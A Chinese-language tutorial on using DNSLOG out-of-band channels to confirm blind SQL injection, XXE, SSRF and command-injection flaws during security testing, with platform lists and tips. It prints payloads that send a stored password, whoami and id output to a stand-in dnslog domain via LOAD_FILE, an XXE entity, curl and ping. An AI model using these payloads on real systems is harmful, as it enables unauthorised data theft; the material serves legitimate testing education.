插件窝 干货文章 怎么合理利用DNSLOG进行无回显安全测试

怎么合理利用DNSLOG进行无回显安全测试

DNSLOG 测试 示例 漏洞 591    来源:    2025-04-22

合理利用DNSLOG进行无回显安全测试

DNSLOG是一种在无回显漏洞测试中非常有用的技术,它通过DNS查询记录来验证漏洞是否存在。以下是合理利用DNSLOG进行安全测试的指南:

DNSLOG基本原理

DNSLOG技术利用了DNS协议的查询机制: 1. 测试者控制一个域名(如dnslog.cn) 2. 在测试中构造特殊的DNS查询请求 3. 通过查看DNS查询日志确认漏洞是否存在

常用DNSLOG平台

  1. 公开平台

    • dnslog.cn
    • ceye.io
    • burpcollaborator.net(Burp Suite专业版功能)
  2. 自建平台

    • 使用DNS服务器+Web界面自建
    • 推荐工具:DNSLog-Platform-Golang

适用场景

  1. 盲注漏洞验证

    • SQL盲注
    • XPath盲注
    • NoSQL盲注
  2. SSRF/XXE漏洞验证

    • 无回显的SSRF
    • 盲XXE漏洞
  3. RCE/命令注入

    • 无回显的命令执行
    • 时间盲注的命令执行
  4. 其他无回显场景

    • 盲XSS
    • 盲SSTI

使用示例

SQL盲注示例

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.yourdomain.dnslog.cn\\test'));

XXE盲注示例

<!ENTITY % payload SYSTEM "http://yourdomain.dnslog.cn">
<!ENTITY % param1 "<!ENTITY % external SYSTEM '%payload;'>">

命令注入示例

curl http://`whoami`.yourdomain.dnslog.cn
# 或
ping -c 1 `whoami`.yourdomain.dnslog.cn

使用技巧

  1. 子域名随机化

    • 使用随机字符串作为子域名,避免重复查询被过滤
    • 示例:a1b2c3d4.yourdomain.dnslog.cn
  2. 数据编码

    • 对敏感数据进行Base64/Hex编码后再放入DNS查询
    • 示例:$(id|base64).yourdomain.dnslog.cn
  3. 长度限制处理

    • DNS标签限制63字符,总域名限制253字符
    • 长数据需要分段查询
  4. 自动化集成

    • 与Burp Suite、sqlmap等工具集成
    • 使用API自动查询DNS记录

注意事项

  1. 合法性:确保测试在授权范围内进行

  2. 网络限制

    • 目标服务器需要能进行DNS解析
    • 可能受防火墙/安全组策略限制
  3. 隐私保护

    • 避免在公开平台传输敏感数据
    • 自建平台更安全
  4. 替代方案

    • 当DNSLOG不可用时,考虑HTTPLOG或其他带外技术
  5. 防御措施

    • 测试完成后清理DNS记录
    • 使用后及时关闭自建服务

通过合理使用DNSLOG技术,安全测试人员可以有效地验证各种无回显漏洞,提高测试效率和准确性。